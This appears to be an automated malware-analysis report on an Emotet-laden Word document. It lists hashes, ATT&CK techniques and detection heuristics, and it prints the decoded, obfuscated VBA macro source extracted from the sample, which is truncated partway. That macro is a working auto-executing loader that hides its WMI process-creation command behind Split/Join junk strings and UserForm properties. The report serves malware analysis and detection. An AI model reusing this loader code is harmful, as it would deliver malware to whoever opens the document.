Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9851c86aaecf786f…

MALICIOUS

Office (OLE)

228.6 KB Created: 2020-08-11 12:40:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 0f6f8df6173a012c96d04df22b93b661 SHA-1: 0f737e9bfc6b8986c5c96d351c239c87154ee53b SHA-256: 9851c86aaecf786f7de412cd8666d20db7d51d6b7801bc06fd32163bb992b154
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. Heuristics indicate the use of a hidden UserForm as a command stager, suggesting it downloads and executes a second-stage payload. The ClamAV signature also explicitly identifies this as Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9269958-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9269958-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4331 bytes
SHA-256: 79dd2a44dfaa317738a26e08608c0a61aa9d29b7d4c60a470abe218b649febc5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JPLJQrexrstyqg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
YXXCIcctldhlnkn.PDCHObemyvuc
End Sub


Attribute VB_Name = "YXXCIcctldhlnkn"
Attribute VB_Base = "0{8AD3394E-9192-4430-8EEB-7175B98319F9}{89EC748D-2E6F-45CF-9918-668F38EB520F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function PDCHObemyvuc()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
GCUMRskxatprutnbs = YXXCIcctldhlnkn.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
PNHZPlzvhjbq = ChrW(GCUMRskxatprutnbs + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
SGLCFiqhsvblq = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + PNHZPlzvhjbq + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + YXXCIcctldhlnkn.HXQEPxexerruycpnitq + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
DABCIefphgxsrinzh = WVIFEejofjubz(SGLCFiqhsvblq)
Dim JtF1ÔVIsgfW As Variant
Set KJOGPytudziblctg = CreateObject(DABCIefphgxsrinzh)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
NRLAAzqpbsyyqwse = YXXCIcctldhlnkn.IAHBAbqtwbqqa.ControlTipText
Dim aKHZFGTowB As Currency
XZIVVdtqzjxkkzowwz = m2m3b5 + (DABCIefphgxsrinzh + PNHZPlzvhjbq + YXXCIcctldhlnkn.AWLJSkslfzivmhu.ControlTipText + NRLAAzqpbsyyqwse)
Dim fIspInaCW As String
JQQJRwhlfasbckouwgy = XZIVVdtqzjxkkzowwz + YXXCIcctldhlnkn.HXQEPxexerruycpnitq
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set HEDGKgrkbbulwotbl = KZZNJpcnbfgtc(JQQJRwhlfasbckouwgy)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", KJOGPytudziblctg. _
Create(IKKKYmhgwxglgyczdpk, HFDAUommskmxojuu, HEDGKgrkbbulwotbl), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function IKKKYmhgwxglgyczdpk()
n21bh3 = YXXCIcctldhlnkn.IIQZJvipgmae.Pages(vbOK).Caption
IKKKYmhgwxglgyczdpk = WVIFEejofjubz(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function KZZNJpcnbfgtc(AMCFLcigibhnmknyn)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set KZZNJpcnbfgtc = CreateObject(AMCFLcigibhnmknyn)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
KZZNJpcnbfgtc. _
showwindow = EXQVVgasuwbvis + REOPXpgjxhelkqpzsh
Dim UMbU As Object
End Function
Function WVIFEejofjubz(PVQCIwtlijsmw)
FBNGJasegyycenyddtu = PVQCIwtlijsmw
Dim ZvdC As Currency
GMBUWerygwdsadspmy = Split _
(FBNGJasegyycenyddtu, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
TCWOAagmwesukyrr = mmm2 + Join(GMBUWerygwdsadspmy, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do W
... (truncated)

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